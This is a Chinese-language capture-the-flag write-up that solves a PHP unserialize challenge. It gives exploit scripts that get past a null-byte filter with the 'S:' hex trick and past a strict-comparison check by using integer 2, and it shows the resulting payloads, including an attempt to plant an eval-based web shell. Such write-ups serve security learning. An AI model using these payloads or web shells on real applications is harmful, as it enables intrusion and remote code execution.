1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82
| <?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op; protected $filename; protected $content;
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); }
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) { $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content); if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } }
private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename); } return $res; }
private function output($s) { echo "[Result]: <br>"; echo $s; }
function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
}
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
if(isset($_GET{'str'})) {
$str = (string)$_GET['str']; if(is_valid($str)) { $obj = unserialize($str); }
}
|
进来给了源码是一个反序列化,我们在这里可以发现类的属性是protected有这个属性的成员在被序列化时,是会在属性名前加上\x00*\x00
1 2 3 4 5 6
| function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
|
而一开始又有这个函数来校验,这直接把\00给过滤了,也就是说正常序列化的payload是不行了
这里解决也很简单,采用S能解析十六进制的功能来绕过就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
。。。
if($this->op === "2") $this->op = "1";
|
从这两段代码可以看出出题人有意让op一直等于1
1会执行一个写文件的操作,这里我尝试写木马上去
写一个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php
class FileHandler { protected $op; protected $filename; protected $content;
public function __construct() { $this->op = "1"; $this->filename = "shell.php"; $this->content = "<?php @eval(\$_GET['cmd']);?>"; } } $a = new FileHandler(); $a = serialize($a); $a = preg_replace("/s:/", "S:", $a); $a = urlencode($a); $a = str_replace('%00', '\00', $a); echo $a;
|
1
| O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3BS%3A1%3A%221%22%3BS%3A11%3A%22\00%2A\00filename%22%3BS%3A9%3A%22shell.php%22%3BS%3A10%3A%22\00%2A\00content%22%3BS%3A28%3A%22%3C%3Fphp+%40eval%28%24_GET%5B%27cmd%27%5D%29%3B%3F%3E%22%3B%7D
|
发payload过去后却显示这里是没有写入权限的
1 2 3
| Warning: file_put_contents(shell.php): failed to open stream: Permission denied in /var/www/html/index.php on line 37 [Result]: Failed!
|
然后我们只能通过读文件来获取flag了,注意看这段代码,是强比较
1 2
| if($this->op === "2") $this->op = "1";
|
而这个是弱比较
1 2 3 4 5 6 7 8 9 10
| public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
|
也就是说如果我们把op赋值为数字2,就不会被重新赋值为字符1,而且还能进入读文件操作
写一个脚本,这里是file_get_contents所以是可以直接包含文件的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <?php
class FileHandler { protected $op; protected $filename; protected $content;
public function __construct() { $this->op = 2; $this->filename = "flag.php"; } } $a = new FileHandler(); $a = serialize($a); $a = preg_replace("/s:/", "S:", $a); $a = urlencode($a); $a = str_replace('%00', '\00', $a); echo $a;
|
查看源码得到flag
1
| <?php $flag='flag{0615d8f0-4795-4f3f-b4d2-c1afa5c26825}';
|